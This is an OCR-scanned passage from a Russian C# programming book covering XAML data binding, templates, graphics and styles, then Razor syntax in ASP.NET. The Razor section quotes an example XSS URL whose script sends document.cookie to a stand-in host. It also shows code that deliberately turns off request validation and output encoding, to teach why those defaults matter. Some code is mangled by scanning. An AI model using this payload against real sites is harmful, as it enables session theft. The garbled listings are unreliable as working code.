Глава 19 менениях свойств. Этот интерфейс называется INotifyPropertyChanged, мы рассматривали его выше, в главе 15. В листинге 19.34 показана мо- дифицированная версия класса из листинга 19.30, уже с реализацией данного интерфейса. Поддержка этой возможности — довольно кропот- ливая работа, но, к сожалению, не существует никаких способов ее со- кращения. Листинг 19.34. Уведомление об изменениях свойств public class Person INotifyPropertyChanged { private string _name; private double _age; public string Name { get { return _name; } set ( if (value _name) { _name = value; OnPropertyChanged(); } } } public double Age { get { return _age; } set { if (value ! = _age) { _age = value; OnPropertyChanged(); } } } public event PropertyChangedEventHandler PropertyChanged; protected void OnPropertyChanged( [CallerMemberName] string propertyName = null) { 1004
XAML if (PropertyChanged != null) { PropertyChanged(this, new PropertyChangedEventArgs(propertyName)); } } } Когда источник данных реализует этот интерфейс, система привяз- ки данных прикрепляет обработчик к событию PropertyChanged и авто- матически обновляет пользовательский интерфейс, как только такое свойство изменится. Возможно, хоть и маловероятно, что вы исполь- зуете источник событий, уведомляющий вас об изменениях свойств, но при этом хотите, чтобы пользовательский интерфейс игнорировал эти уведомления. Тогда можно задать для режима привязки Mode значение OneTime. Оно означает, что свойство должно быть считано один и только один раз. WPF также поддерживает значение OneWayToSource, при кото- ром программа вообще не будет считывать значение свойства, но тем не менее записывает в свойство значения, когда пользователь взаимодей- ствует со связанным элементом управления. Шаблоны данных Система привязки данных позволяет определять шаблон для дан- ных конкретного типа. Выше было показано, как написать шаблон для элемента управления, определив, таким образом, визуальное представ- ление этого элемента на экране. Шаблоны данных (data templates) реша- ют ту же задачу, но для любых данных, а не только для элементов управ- ления. Если поместить экземпляр какого-либо пользовательского типа данных в элемент управления, допускающий любое содержимое (тако- вы, например, все списковые элементы управления содержимым), то XAML сможет отобразить такие данные при помощи соответствующего шаблона. В листинге 19.35 показан шаблон данных для класса Person, рассмотренного выше. Листинг 19.35. Шаблон данных <DataTemplate x:Key="personTemplate"> <Grid> <Grid.RowDefinitions> <RowDefinition />
Глава 19 <RowDefinition /> </Grid.RowDefinitions> <Grid.ColumnDefinitions> <ColumnDefinition Width="Auto" /> <ColumnDefinition /> </Grid.ColumnDefinitions> CTextBlock Text="Name:" VerticalAlignment=nCenter"/> cTextBox Grid.Column="l" Margin="3" Text="{Binding Path=Name, Mode=TwoWay}" /> CTextBlock Grid.Row="l’' Text="Age:n VerticalAlignment="Centern/> CTextBox Grid.Row="l" Grid.Column="l" Margin="3" Text="{Binding Path=Age}" /> c/Grid> c/DataTemplate> Как правило, такой код вы помещаете в словарь ресурсов. Напри- мер, его можно записать в элементе Page.Resources XAML-файла для страницы приложения. Если вы хотите обеспечить доступ к этому коду с любой страницы вашего приложения, можно записать данную инфор- мацию в элемент Application.Resources вашего файла Аррзсат1. Теперь давайте предположим, что мой отделенный код помещает коллекцию объектов Person в контекст данных, как это показано в листинге 19.36. Листинг 19.36. Использование коллекции в качестве источника данных public sealed partial class MainPage Page { public Person[] _src = { new Person { Name = "Ian", Age = 38 }, new Person { Name = "Hazel", Age =0.2 } }; public MainPage() { InitializeComponent(); DataContext = _src; } } Теперь я могу использовать эту коллекцию в качестве источника данных для ListBox, указав, что все элементы списка должны соответ- 1006
XAML ствовать этому шаблону. Как показано в листинге 19.37, я могу исполь- зовать расширение разметки StaticResource, чтобы ссылаться на эле- менты, расположенные в словаре ресурсов. Листинг 19.37. Использование шаблона данных CListBox ItemsSource="{Binding}" ItemTemplate="{StaticResource personTemplate}" /> Результат показан на рис. 19.18. Обратите внимание: я воспользовал- ся свойством ItemsSource, а не Items, относящимся к элементу ListBox. Вариант Items применяется в случаях, когда вы просто хотите добавлять компоненты непосредственно в списковый элемент, a ItemsSource — когда речь уже идет о привязке данных. Код проверит предоставленную вами коллекцию и сгенерирует элемент-потомок, применив при этом для каждого компонента исходного списка выбранный вами шаблон данных. Если же вы воспользуетесь источником типа ObservableCollection<T>, то элемент управления сможет обнаруживать, когда в коллекцию добав- ляются новые элементы и когда имеющиеся в ней элементы удаляются или перемещаются. Таким образом, содержимое спискового элемента управления будет синхронизировано с исходной коллекцией. Name: Ian Age: 38 Name: Hazel Age: 02 Рис. 19.18. Списковые элементы, отображаемые в шаблоне данных В WPF и Silverlight можно установить соединение между шабло- ном данных и их типом. В таком случае вам не придется специально сообщать элементу управления, какой шаблон использовать. Если вы измените определение шаблона таким образом, чтобы он начинался со строки, показанной в листинге 19.38, то в WPF-приложении можно бу- дет опустить свойство ItemTemplate элемента ListBox. В таком случае требуется, чтобы префикс local пространства имен XML был ассоции- рован с тем пространством имен, в котором содержится класс Person. URI пространства имен будет искать нечто вроде clrnamespace: МуАрр. Привязка данных автоматически применит этот шаблон к каждому из 1007
Глава 19 объектов Person, которые вы будете использовать в списковом элементе или в элементе управления содержимым, так как механизму известно об ассоциации с данным* шаблоном. Листинг 19.38. Ассоциирование шаблона данных с определенным типом <DataTemplate DataType="{х:Туре local:Person}"> В Silverlight придется применять немного иное значение: просто local:Person. Дело в том, что Silverlight не поддерживает расширение разметки х: Туре, которое в XAML эквивалентно оператору typeof языка С#. Даже если бы оно и поддерживалось в Silverlight, то было бы избы- точным, так как свойство DataType имеет тип Туре и загрузчик XAML уже знает, что должен интерпретировать этот атрибут как имя типа. Но в при- веденном примере из WPF свойство DataType относится к типу object, так как в WPF шаблоны данных могут и не соответствовать типам .NET. Вы можете выполнять привязку непосредственно к ХМL-документу, в случае чего у вас появится возможность определять шаблоны данных для конкретных имен XML-элементов. Таким образом, в WPF этот атри- бут станет интерпретироваться как текстовая строка (то есть шаблон бу- дет использоваться при привязке к одноименному XML-элементу), если только вы явно не укажете, что это должен быть объект Туре. С учетом сходства между шаблонами данных и шаблонами элемен- тов управления может возникнуть вопрос: почему же существует сразу два расширения разметки, Binding и TemplateBinding? Оба они подклю- чают свойство элемента пользовательского интерфейса к свойству ис- ходного объекта. Единственная очевидная разница заключается в том, чро при использовании TemplateBinding объект-источник представляет собой элемент управления. Теоретически мы могли бы применять толь- ко одно расширение, поскольку в действительности выражение Binding можно сконфигурировать так, чтобы оно делало то же самое, что и выра- жение TemplateBinding. Таким образом, строго говоря, расширение раз- метки TemplateBinding избыточно; однако следует заметить, что в то же время оно предоставляет два преимущества. Во-первых, с ним удобнее работать — как показывает листинг 19.39, если мы захотим сконфигури- ровать выражение Binding так, чтобы оно делало то же самое, что и вы- ражение TemplateBinding, мы получим довольно длинный код. Листинг 19.39. Конфигурирование выражения Binding для его использования подобно выражению TemplateBinding <Border BorderBrush="{Binding Path=BorderBrush, RelativeSource={Relativesource TemplatedParent}}" /> 1008
XAML Привязки шаблонов также позволяют повысить эффективность работы. Привязки данных, напротив, характеризуются значительной гибкостью — они могут сочленяться с любыми .NET-объектами, а также с некоторыми COM-объектами, написанными на нативном коде. Таким образом, они поддерживают приведение типов данных. Например, мож- но привязать свойство элемента управления, относящееся к типу string, к свойству источника, относящемуся к типу double. И, как было показа- но выше, можно конфигурировать привязку для двунаправленной рабо- ты. Все это связано с определенными издержками. Привязки шаблонов TemplateBinding значительно более ограничены: такая привязка работа- ет лишь в одном направлении, ее исходное и конечное свойства должны относиться к одному и тому же типу, кроме того, источник/обязательно следует быть элементом управления. Поэтому привязка шаблона ока- зывается более легковесной сущностью, и это немаловажно, так как ша- блон элемента управления может иметь десятки привязок к шаблону, а в приложении их вполне может набраться несколько тысяч. Графика До сих пор в этой главе мы говорили в основном о тексте. Но в боль- шинстве пользовательских интерфейсов не обойтись без тех или иных графических элементов. В предыдущих примерах мы вскользь упоми- нали некоторые из них, но для полноты картины следует дать общий обзор графических возможностей, доступных в XAML-фреймворках. Фигуры Существует несколько элементов-фигур {shapes). Это типы элемен- тов пользовательского интерфейса, наследующие от того же базового класса FrameworkElement, что и все другие элементы, показанные выше. Правда, фигуры делают это опосредованно, через базовый класс Shape. Это означает, что они подчиняются тем же правилам компоновки, что и все остальные элементы, но элементы-фигуры просто выглядят на экране как определенные контуры. Ellipse и Rectangle (эллипс и пря- моугольник) понятны без объяснения. Элемент Line отрисовывает пря- мой отрезок от точки до точки. Polyline отрисовывает ряд связанных друг с другом отрезков, a Polygon делает то же самое, но автоматически соединяет конец последнего отрезка с началом первого. В результате об- разуется замкнутый контур. 1009
Глава 19 Самый мощный элемент-фигура называется Path. Он позволяет создавать фигуры, в которых произвольно сочетаются прямолинейные и криволинейные сегменты. Таким образом, при помощи Path можно на- рисовать любую фигуру. Кроме того, этот элемент поддерживает много- фигурные контуры с множественными внешними линиями, так что с его помощью вы также можете рисовать фигуры, содержащие отверстия разной формы. Можно очертить внешний контур одним набором от- резков, а потом добавить новую фигуру, определив второй контур. Если второй контур окажется внутри первого, то в первой фигуре образуется отверстие. Данный элемент поддерживает кривые Безье, которые очень часто применяются в графических редакторах и системах визуализации для создания криволинейных фигур. Именно применив этот элемент, я сделал улыбку на физиономии из листинга 19.11. Маленькая молния в примере из листинга 19.20 также отрисована при помощи Path, но на этот раз уже только с использованием прямых линий. Поскольку типы-фигуры представляют собой самые обычные эле- менты пользовательского интерфейса, вы можете применять с ними привязку данных. В источнике данных вы можете привязать числовое свойство, скажем, к свойству Height прямоугольника. Это может быть полезно, например, при создании гистограммы. Кроме того, привязку данных можно использовать с прикрепляемыми свойствами. Поэтому если вы хотите создать график рассеяния, то можете поместить точки в элемент Canvas, а потом привязать их свойства Canvas.Left и Canvas. Тор, чтобы задавать положение элементов посредством связывания данных. Поскольку все элементы-фигуры являются геометрическими сущ- ностями, их можно отображать в любом размере, и при увеличении они не будут терять четкости. Правда, фигуры не очень удобны при пред- ставлении определенных разновидностей визуальной информации — так, например, очень сложно преобразовать фотографию в набор фигур. Поэтому в XAML также поддерживаются точечные рисунки. Точечные рисунки В XAML-приложении можно отобразить растровый рисунок. Для этого применяется элемент Image. Есди вы добавите в ваш проект файл с точечным рисунком (например, в формате JPEG или PNG), то Visual Studio автоматически сконфигурирует этот проект с учетом того, что рисунок должен быть скомпилирован как внедренный ресурс. Затем вы 1010
XAML сможете ссылаться на этот рисунок по имени из элемента Image, как по- казано в листинге 19.40. Кроме того, вы можете задать в качестве значе- ния его свойства Source полностью квалифицированный URL — в таком случае приложение попытается загрузить файл, находящийся по этой ссылке (конечно, если это допускают установленные в вашем приложе- нии параметры безопасности). Листинг 19.40. Элемент Image <Image Source=nMyBitmap.png’' /> Если вы разрешите в элементе Image подгонку по содержимому, то растровое изображение будет отображено в натуральную величину, ка- ким бы большим оно ни было. Но если вы ограничите^размеры, то, как правило, изображение окажется вписано в доступное пространство. По умолчанию оно будет масштабироваться по горизонтали и по вертикали с одним и тем же коэффициентом. Если соотношение сторон доступно- го пространства не соответствует пропорциям изображения, то изобра- жение настолько укрупнится, насколько это возможно без его обрезки по вертикали или горизонтали. Это поведение можно изменить. Свойство Stretch определяет, как будет происходить изменение размеров точечного рисунка. Если установить его в значение None, то изображение в любом случае будет иметь свою натуральную величину, а если этот размер не совпадает с величиной ячейки макета, то изобра- жение либо будет обрезаться, либо не будет использовать все доступ- ное пространство. По умолчанию задается значение Uniform, действую- щее так, как описано в предыдущем абзаце. Если установить свойство Stretch в значение UniformToFill, рисунок будет масштабироваться на равную величину в обоих направлениях, но изображение окажется уве- личено лишь настолько, насколько требуется для заполнения всей ячей- ки макета целиком. Наконец, Fill обеспечивает точное вписывание изо- бражения в доступное пространство, при необходимости сужая рисунок в нужных направлениях. Кисть ImageBrush При желании вы можете сделать из точечного рисунка кисть (brush). Большинство свойств, позволяющих задавать цвет в XAML (тако- вы, например, свойство Background элемента управления или свойство Foreground элемента TextBlock), относятся к типу Brush. Если указать имя либо шестнадцатеричное значение цвета (например, #ff0000), то 1011
Глава 19 загрузчик XAML создаст для вас кисть SolidColorBrush. Но существу- ют и другие разновидности кистей. В листинге 19.5 я воспользовался градиентной кистью. Вы также можете создать кисть ImageBrush, по- зволяющую «рисовать» точечным рисунком. В листинге 19.41 эта кисть используется для окрашивания точечным рисунком текста. Результат показан на рис. 19.19. Листинг 19.41. Использование кисти ImageBrush для отрисовки текста в виде точечного рисунка CTextBlock Text="Painting" FontSize="48" FontWeight="Bold"> CTextBlock. Foreground cimageBrush ImageSource="Pattern.jpg" Stretch="UniformToFill"/> с/TextBlock. Foreground c/TextBlock> Рис. 19.19. Текст, отрисованный при помощи ImageBrush Мультимедийные файлы Приложения XAML могут отображать не только статичные точеч- ные рисунки, но и видео. Тип MediaElement позволяет показывать видео, а также воспроизводить аудиофайлы. Этот элемент очень прост: в каче- стве значения его свойства Source вы задаете URL медиафайла, после чего код его воспроизводит. В данном элементе управления нет кнопок, позволяющих приостановить воспроизведение, перемотать или изме- нить громкость. Если вам требуются такие функции, то придется писать собственные элементы управления. MediaElement предлагает различные свойства и методы, позволяющие управлять таким функционалом, вам остается просто его подключить. Точный набор возможностей MediaElement различается в разных фреймворках. В WPF он использует Windows Media Foundation — ту же систему, которая применяется в Windows Media Player (WMP). Лю- бые кодеки, установленные в вашей системе и пригодные для работы с WMP, будут взаимодействовать и с WPF-приложениями. Неприятный побочный эффект такой ситуации заключается в том, что вы не сможете воспроизводить видео, встроенное в ваше приложение как поток выво- 1012
XAML да. WMP просто не знает, как читать потоки ввода/вывода, скомпили- рованные в сборку .NET. Вы можете встраивать в главный исполняемый файл вашего приложения точечные рисунки, но, чтобы использовать в таком качестве видео, необходимо гарантировать, что WMP сможет найти это видео. Если видео расположено в сети, то достаточно будет предоставить нужный URL, но для воспроизведения локального видео- ресурса нужно гарантировать, что видео сохранено в отдельном файле. WMF целесообразно использовать потому, что в таком случае WPF приходится работать с таким же аппаратным ускорением, каким может оперировать Media Player*. Недостаток заключается в том, что набор доступных форматов файлов и качество воспроизведения зависят от того, как сконфигурирована машина. Устанавливая в Windows низко- качественные кодеки, можно значительно испортить воспроизведение (такие кодеки предлагают скачать повсюду в Интернете). Такая не- верная конфигурация может повредить и воспроизведение, выполняе- мое при помощи WPF. Тем не менее необходимо отметить, что версии Windows с поддержкой WMF присутствуют на рынке уже около пяти лет, и мир видеокодеков, обеспечивающих работу с аппаратным уско- рением, сейчас значительно более стабилен, чем был к моменту появ- ления WPF. Воспроизведение видео в Windows Runtime зависит от базовой ме- дийной инфраструктуры Windows — точно так же, как и в WPF. Устрой- ства, на которых планируется использовать приложения такого рода, скорее всего, будут обладать жестко контролируемыми аппаратными характеристиками. Поэтому иногда вам может подвернуться не машина, а чудовище Франкенштейна с очень сомнительным набором кодеков. Silverlight и Windows Phone решают проблему иначе: задействуют собственные кодеки. Это означает, что они поддерживают лишь неко- торые форматы (WMV и Н.264 для видео), но такая поддержка явля- ется гарантированной и постоянной. Поддержка аппаратного ускоре- ния в Silverlight несколько ограничена, так как на любом оборудовании Silverlight применяет одни и те же кодеки, но вы можете быть уверены, что все поддерживаемые форматы будут работать. * Если вам не повезло и приходится иметь дело с пользователями, не желающими отказываться от Windows ХР, то производительность видео может значительно снизить- ся, так как WMF в этой версии отсутствует. Хотя в Windows ХР и существует техниче- ская возможность организовать воспроизведение видео с аппаратным ускорением сред- ствами одного только фреймворка WPF, на практике на большинстве машин не окажется нужных кодеков для поддержки такой функции, даже если они работают в WMP 1013
Глава 19 Стили Есть еще один аспект XAML, который я хотел бы затронуть в этом обзоре, — оформление (работа со стилями). Все элементы пользова- тельского интерфейса наследуют свойство Style от базового класса FrameworkElement. Тип этого свойства также называется Style, а объект Style — просто коллекция пар свойство/значение, которые могут при- меняться сразу ко многим элементам пользовательского интерфейса. В листинге 19.42 показан стиль, задающий ряд свойств для элемента TextBlock. Листинг 19.42. Стиль для элемента TextBlock <Style x:Key="HeadingTextStyle" TargetType="TextBlock"> <Setter Property="FontFamily" Value="Calibri" /> <Setter Property="FontSize" Value="20" /> </Style> Можно прямо в XAML задавать для элемента свойство Style, ис- пользуя при этом синтаксис свойств элементов (который я описал выше .3 разделе «Элементы свойств»). Тем не менее вся польза стилей заклю- чается в том, что один стиль может применяться ко многим элементам. Поэтому обычно стили определяются как ресурсы. Можно записать стиль в свойство Page.Resources конкретной страницы, но часто стили находятся в отдельных файлах. Если вы заглянете новый проект для Windows 8, созданный в Visual Studio, то увидите, что среда добавляет в него каталог под названием «Common», где есть файл Standardstyles. xamL Этот файл содержит множество объектов Style, полезных в та- ких приложениях. Корневой элемент данного файла называется ResourceDictionary. Это объект-словарь, который может использовать- ся в различных XAML-приложениях. Он представляет собой обычный набор именованных объектов. Один из объектов, определенных в этом файле, имеет ключ PageHeaderTextStyle. В листинге 19.43 продемон- стрировано использование данного стиля на практике. Листинг 19.43. Использование стандартного стиля <TextBlock Style="{StaticResource PageHeaderTextStyle}" Text="My app" /> Этот элемент будет использовать такое семейство шрифтов, кегль и форматирование шрифта заголовка, какие обычно применяются в им- мерсивных приложениях. При работе гораздо удобнее ссылаться на 1014
XAML такой именованный стиль, чем вручную указывать каждое из важных свойств. Кроме того, подобный способ менее чреват ошибками — ис- пользуя стиль, предоставленный вам Visual Studio, вы можете быть уве- рены, что все значения будут заданы верно. Резюме Существуют четыре способа использования разметки XAML из С#. Можно работать с WPF, создавая локальное приложение для ПК в клас- сическом стиле Windows. Можно остановиться на Windows Runtime и написать приложение в стиле Windows 8. Воспользовавшись фрейм- ворком Silverlight, можно создать XAML-приложение, которое будет работать в браузере и развертываться в Сети. Наконец, XAML*можно применять при написании приложений для Windows Phone. Все эти фреймворки существенно отличаются друг от друга, как набором пред- лагаемых функциональностей, так и в деталях, даже если у этих функ- циональностей есть немало общего. Тем не менее основной набор кон- цепций во всех фреймворках одинаков. Если вы выучите XAML, то без труда научитесь применять его в любом фреймворке. К основным кон- цепциям относятся стандартные свойства компоновки и панели, раз- личные общие типы элементов управления, принципы обработки тек- ста, привязка данных, использование шаблонов, графические элементы и работа со стилями.
Глава 20 ASP.NET В .NET Framework существуют различные возможности для написа- ния веб-приложений. Имеются относительно высокоуровневые фрейм- ворки для создания пользовательских интерфейсов и веб-API. В них предлагаются удобные абстракции, относительно не зависящие от ба- зового рабочего процесса. Но если вы предпочитаете работать в стиле, который более удобен для взаимодействия с протоколом HTTP, то мо- жете оставаться и на этом уровне. В сумме весь этот спектр технологий, ориентированных на работу с Интернетом, называется ASP.NET. Дан- ное название уже не является аббревиатурой. Ранее оно должно было указывать на свЬзь таких возможностей с устаревшей технологией ASP (Active Server Pages — активные серверные страницы), применявшейся до появления .NET, но ASP.NET объединяет в себе настолько широкий функционал, чтобы было бы совершенно неверно увязывать этот набор с технологией ASP. Хотя под термином ASP.NET и скрывается очень широкий спектр серверных веб-технологий, все они совместно используют общую ин- фраструктуру — независимо от того, пишете ли вы с их помощью поль- зовательские интерфейсы или веб-сервисы. Например, ASP.NET под- держивает хостинг кода на веб-сервере Microsoft, называемом Internet Information Services (более известном под сокращенным названием 11S). ASP.NET обладает расширяемым модульным конвейером обработки, применяемым для обслуживания запросов. Конвейер, используемый по умолчанию, оснащен некоторыми базовыми сервисами — например, предусматривает возможность аутентификации. В этой главе мы поговорим в основном о написании пользователь- ских интерфейсов для веб-приложений. Даже в такой теме мне прихо- дится выбрать один из двух вариантов изложения, а именно: определить- ся с вариантом синтаксиса, используемого для написания веб-страниц с серверным поведением и решающего, как будет происходить обработка НТТР-запросов. ASP.NET предлагает два .механизма визуализации (view engine), каждый из которых задействует собственный синтаксис для на- писания веб-страниц. Более старый движок, называемый веб-формами 1016
ASP.NET (Web forms) и также известный как aspx (поскольку файлы, написан- ные в этом формате, обычно имеют расширение aspx), поддерживает как обычный HTML, тактгмодель, основанную на использовании элементов управления, скрывающую некоторые детали HTML. Кроме того, у веб- форм сохранились некоторые черты, сближающие его синтаксис с уста- ревшим ASP-синтаксисом, применявшимся в 1990-е годы. Этот синтак- сис был сохранен для облегчения обратного портирования приложений на ASP.NET в те годы, когда фреймворк .NET только зарождался. Более новый механизм визуализации называется Razor, и он несколько проще, чем веб-формы. Так, он не пытается добавить над HTML дополнитель- ный уровень абстрагирования. Файлы Razor обычно имеют расширение .cshtml, подчеркивающее близость этого движка к HTML. Фрагмент cs означает, что все внедренные сценарии будут написаны на С#. Про- граммисты, работающие на Visual Basic, используют здесь расширение xjbhtml. Кроме того, Razor избавился от некоторых старых и неудобных соглашений ASP, сохраняющихся в файлах aspx, заменив их менее на- вязчивым синтаксисом. Какой бы синтаксис вы ни применили, вам также предстоит решить, каким образом ваше приложение будет выбирать страницы для пока- за и код для выполнения после получения запросов из браузера. Про- стейший метод — создать набор файлов и каталогов, структура которо- го в точности отражается в URL, указывающих на эти ресурсы. Такой метод прост для понимания, но не очень гибок. Часто бывает полезно иметь возможность динамического обновления структуры. Напри- мер, сайты журнального плана (в частности, блоги) зачастую содержат в своих URL-адресах конкретные даты, например: http://example.com/ blog/2012/08/15/mangles. Поэтому было бы неудобно каждый месяц создавать новый каталог лишь для того, чтобы просто помещать туда новые записи. Таким образом, ASP.NET предоставляет систему маршрутизации ссылок, помогающую сделать структуру сайта более динамичной. Вы мо- жете пользоваться такой возможностью в любом приложении ASP.NET, но существует одна разновидность проектов, в которых использование такой структуры значительно упрощается. Речь идет о проектах, в чьей основе лежит шаблон «Модель-Представление-Контроллер» (MVC). В начале этой главы мы рассмотрим две разновидности синтаксиса, применяемые в контексте простых, статически структурированных сай- тов. Затем я покажу, как можно использовать из MVC страницы, постро- енные с применением как первого, так и второго варианта синтаксиса. 1017
Глава 20 Razor Razor — разновидность синтаксиса для написания веб-страниц, по- зволяющего встраивать в страницу фрагменты кода, которые будут ис- полняться на сервере. Этот код будет контролировать, что происходит на странице во время исполнения. В листинге 20.1 показана простая веб-страница, созданная с приме- нением такого синтаксиса. Visual Studio 2012 — это первая версия сту- дии, поставляемая с поддержкой такого встраивания, но для более ран- них версий можно было скачать специальное расширение. Листинг 20.1. HTML-страница с двумя расширениями Razor <!DOCTYPE html> <html> <head> <title>Simple Page</title> </head> <body> <div> The query string is '^Request.QueryString' </div> <div> Your user agent is: 'GRequest.UserAgent* </div> </body> </html> С первого взгляда заметно, что этот файл выглядит почти как обыч- ный HTML. Есть всего две не совсем обычные строки, выделенные жир- ным шрифтом, которые отличают этот контент от статического. Обе они содержат выражения. Выражения На страницах, написанных с применением синтаксиса Razor, могут содержаться выражения на языке С#, перед которыми ставится символ @. В таком случае на странице вместо этого выражения будет находить- ся его результирующее значение. Чтобы продемонстрировать это, я соз- дал в Visual Studio новый веб-сайт. 1018
ASP.NET Если вы хотите создать при помощи синтаксиса Razor простой е сайт, основанный на работе с файлами, воспользовавшись при этом Visual Studio, то обычный проект вам не подойдет. Вместо этого придется создать то, что называется в среде разработки Visual Studio веб-узлом. (Название выбрано не очень удачно, поскольку Visual Studio предлагает и другие спо- собы создания веб-узла.) Это каталог на диске, где нет файла .csproj, а есть лишь обычные файлы и подкаталоги. Вы можете скопировать этот каталог прямо на ваш веб-сервер, а потом сконфигурировать IIS таким образом, чтобы данный каталог просто предлагался на сервере. Вам не требуется предвари- тельно компилировать «веб-узел» в Visual Studio, так как ASR NET скомпилирует всю необходимую для работы информацию прямо во время выполнения. Чтобы создать подобный проект, выберите в меню File (Файл) команду New Web Site (Создать веб-узел), а не команду New Project (Создать проект). В этом примере я использую шаблон ASP.NET Web Site (Razor v2) (Веб-узел ASP.NET (Razor v2)). Visual Studio настраивает локальный тестовый веб-сервер. На моем компьютере он слушает порт 4793, но у вас он вполне может выбрать другой порт. Я могу перейти на страницу, показанную в листинге 20.1, и убедиться, что она работает. Для этого я передаю следующую строку за- проса: http://localhost:4793/ShowQuery String.cshtml?foo=bar&id= 123. Результирующая веб-страница содержит следующий текст: The query string is ‘foo=bar&id=123’ Your user agent is: ‘Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5(KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5’ Так мы гарантируем, что два выражения будут работать как следу- ет. Код вывел мне на экран строку запроса, а также строку с указанием пользовательского агента, работающего в моем браузере. Обратите внимание на одиночные кавычки — они не входят в со- став синтаксиса выражений, поэтому Razor просто включил их в вывод. Razor достаточно хорошо разбирается в синтаксисе С#, чтобы понимать, что закрывающая кавычка не может быть частью выражения. 1019
Глава 20 В принципе прием подобных значений, предоставляемых пользова- телем, и представление их в составе вывода — это опасная идея. Суще- ствует риск того, что, создав нужный URL, пользователь сможет заста- вить ваш сайт сгенерировать такую страницу, в которую будет внедрен его собственный код. Иногда такая атака называется «межсайтовый скриптинг», или XSS. Злоумышленник может проверить, насколько ре- ально украсть куки с вашего сайта, если воспользуется следующим URL: http://localhost:4793/ShowQueryString.cshtml?bad=<script>document. location=’http://example.com/hack?’-i-document.cookie</script>. Этот код пытается воспользоваться тем фактом, что мой код просто копирует любое содержимое строки запроса в генерируемую страницу. Сущность эксплойта заключается в том, чтобы добавить сценарий, ко- торый указывает на страницу с какого-то другого сайта. В таком случае текущий набор куки будет передан в составе того URL, по которому злоу- мышленник переправляет нашего пользователя, и целевой сайт получает информацию о том, какие у меня куки. Обладая такой информацией, вре- доносный сайт сможет выдавать себя за мой ресурс. Тем не менее, если вы попытаетесь провести такую атаку, страница даже не загрузится, а пользо- вателе увидит ошибку. ASP.NET автоматически блокирует запросы, име- ющие подобную структуру, так как обычно они являются вредоносными. Тем не менее такую меру предосторожности можно отключить. Я мог бы изменить код так, чтобы строка запроса выглядела как в листинге 20.2. Листинг 20.2. Обход валидации запроса The query string is '^Request.Unvalidated().QueryString' Этот код сообщает ASP.NET, что я отдаю себе отчет в своих дей- ствиях и что хочу получить строку запроса, даже если по ее виду можно предположить, что она содержит опасный контент. Иногда это бывает целесообразно, так как у пользователя должна быть возможность вве- дения информации, содержащей потенциально «небезопасные» симво- лы — например, < и >. Мой код просто копирует строку с данными, не прошедшими валидацию, обратно на страницу — вы могли бы сказать, что я все-таки поступаю неосмотрительно. Но на самом деле, если бы я воспользовался моим вредоносным URL, то Razor сгенерировал бы следующий контент: The query string is 'bad=%3cscript%3edocument.location% 3d%27http%3a%2f%2fexample.com%2fhack%3f%27+document,cookie% 3c%2fscript%3e' 1020
ASP.NET Я разбил строку, так как она слишком длинна для формата этой кни- ги, но самое важное, что в ней следует отметить, — то, что все потенци- ально опасные сидаолы экранированы. Но здесь мы имеем дело с таким выводом, поскольку представлять небезопасные символы в URL нужно именно так. Что если бы я на самом деле попытался повредить собствен- ный код? В листинге 20.3 показано выражение, удаляющее кодировку и возвращающее нас к исходному тексту со всеми символами < и >. Листинг 20.3. Отказ от еще одной меры безопасности GHttpUtility.UrlDecode(Request.Unvalidated().QueryString .ToStringO) Даже здесь Razor по умолчанию действует безопасно. Вот что мы имеем на сгенерированной странице: The query string is 'bad=&lt;script&gt;document.location= &#39;http://example.com/hack?&#39; document.cookie&lt;/ script&gt;' Даже при том что я извлек из кода кодировку URL, Razor взял ре- зультирующую строку и закодировал ее в HTML, превратив опасные угловые скобки в символьные сущности. Таким образом, текст отобра- зится правильно. Предыдущий фрагмент взят из исходного HTML, но браузер покажет нам следующее: The query string is 'bad=<script>document.location= 'http://example.com/hack?' document,cookie</script>' Так мы смогли избежать опасности и отобразить текст на экране, ис- ключив возможность XSS-атаки. Но если мы по-настоящему хотим за- няться членовредительством, то можем так поступить. Страницы Razor получают доступ к различным вспомогательным методам HTML по- средством свойства Html, и, как показано в листинге 20.4, это свойство предоставляет метод Raw, позволяющий вам поместить в вывод любой желаемый текст без HTML-кодировки. Листинг 20.4. Игра с огнем @Html.Raw(HttpUtility.UrlDecode(Request.Unvalidated() .QueryString.ToStringO)) Так мы утверждаем, что хотим прочитать строку запроса, минуя все нормальные проверки на наличие вредоносного кода, что не желаем 1021
Глава 20 пользоваться обычной кодировкой URL и хотим поместить результат прямо на страницу без обработки оного. Так мы успешно подставили страницу под удар любых XSS-атак. Очевидно, вы никогда и не поду- маете этого делать. Последний пример приведен лишь для того, чтобы убедить вас, что при необходимости вы можете приобрести полный кон- троль над обработкой запросов, но и то поведение, которое задается по умолчанию, является вполне приемлемым. Иногда бывает полезно явно разграничивать выражения. Вообще Razor обычно может сам определить, где кончается конкретное выра- жение, для этого он использует простую эвристику. Тем не менее иногда этот движок спотыкается на пробелах — например, если у вас есть очень длинное выражение, то часто бывает удобно разбивать его на несколько строк. Некоторые из примеров, показанных выше, достаточно длинны, поэтому их неплохо было бы разбить. Но пример не будет работать, если сделать так, как показано в листинге 20.5. Листинг 20.5. Как не следует пользоваться пробелами в Razor ^Request.Unvalidated() .Querystring .ToString() Здесь Razor решит, что выражение заканчивается на первой строке, и в данном случае интерпретирует весь оставшийся текст как обычное содержимое. К счастью, с этой ситуацией можно справиться, если записать все выражение в скобках, как это сделано в листинге 20.6. Листинг 20.6. Гибкое использование пробелов с применением скобок @(Request.Unvalidated() .Querystring .ToString()) Управление потоком данных Razor поддерживает в коде не только отдельные выражения, но и другие конструкции. Вьсможете использовать предоставляемые в C# возможности управления потоком данных — например, инструкции if или циклы. В листинге 20.7 применяется цикл foreach, отображающий все элементы, содержащиеся в строке запроса. 1022
